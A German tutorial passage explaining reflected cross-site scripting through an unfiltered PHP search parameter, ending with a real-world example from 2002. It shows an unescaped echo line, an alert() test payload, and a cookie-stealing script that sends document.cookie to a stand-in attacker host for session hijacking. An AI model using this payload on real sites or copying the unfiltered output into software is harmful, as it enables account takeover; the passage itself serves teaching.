Wie sieht nun so ein Angriff genau aus? Angenommen eine Webseite bietet eine Suchfunktion an. Die Eingabe des Benutzers wird als Parameter einem PHP-Skript ``search.php'' übergeben. Das sieht dann z.B. so aus:
http://schmoop.com/search.php?string=Osterei
Neben der eigentlichen Ausgabe des Suchergebnisses, wird auch die Sucheingabe nochmal ausgeben. So in der Art
echo 'Ihre Suche nach $string ergab $numhits Treffer.'
Hier wird also der Parameter mit der Sucheingabe ohne Filterung ausgegeben. Diese Ausgabe landet in der HTML-Seite, die an den Browser zurückgeschickt wird. Nun verändern wir den Parameter in der URL und geben dort ein bisschen JavaScript-Code ein. Z.B. so:
http://schmoop.com/search.php?string=<script>alert('Woof!');</script>
Ergebnis ist, dass der Browser den JavaScript-Code ausführt und uns eine kleine Messagebox präsentiert. Das ist an sich noch nicht gefährlich, zeigt aber, dass der Angriff funktioniert. Doch wie oben beschrieben, kann man mit JavaScript Cookies auslesen, die für die Domain gesetzt sind. Den Inhalt der Cookies kann man dann wie folgt an eine andere Webseite senden:
http://schmoop.com/search.php?string=<script>document.location=
'http://attacker/dump.php?cookie='+document.cookie</script>
Der Browser wird hier auf eine andere URL zu einem Webserver des Angreifers umgelenkt. Dort liegt ein Skript ``dump.php'' , dem man nun den Wert des Cookies als Parameter übergibt. Das Skript kann die Variablen einfach ausgeben, protokollieren, an eine Email-Adresse verschicken oder alles zusammen. Da in Cookies oft so genannte Session-Variablen gespeichert werden, die auf Webseiten der Authentifizierung dienen, braucht man sich nun nur noch den Cookie selber zu setzen, um die Identität des Opfers zu übernehmen.
Im August 2002 hat Stefan Krecher solche Sicherheitslücken bei den Freemailern Yahoo und Freenet gefunden, worüber er auch in seinem Vortrag auf dem Chemnitzer LinuxTag 2003 erzählte[3]. Ein böswilliger Angreifer, hätte damit auf die Postfächer der Benutzer zugreifen können.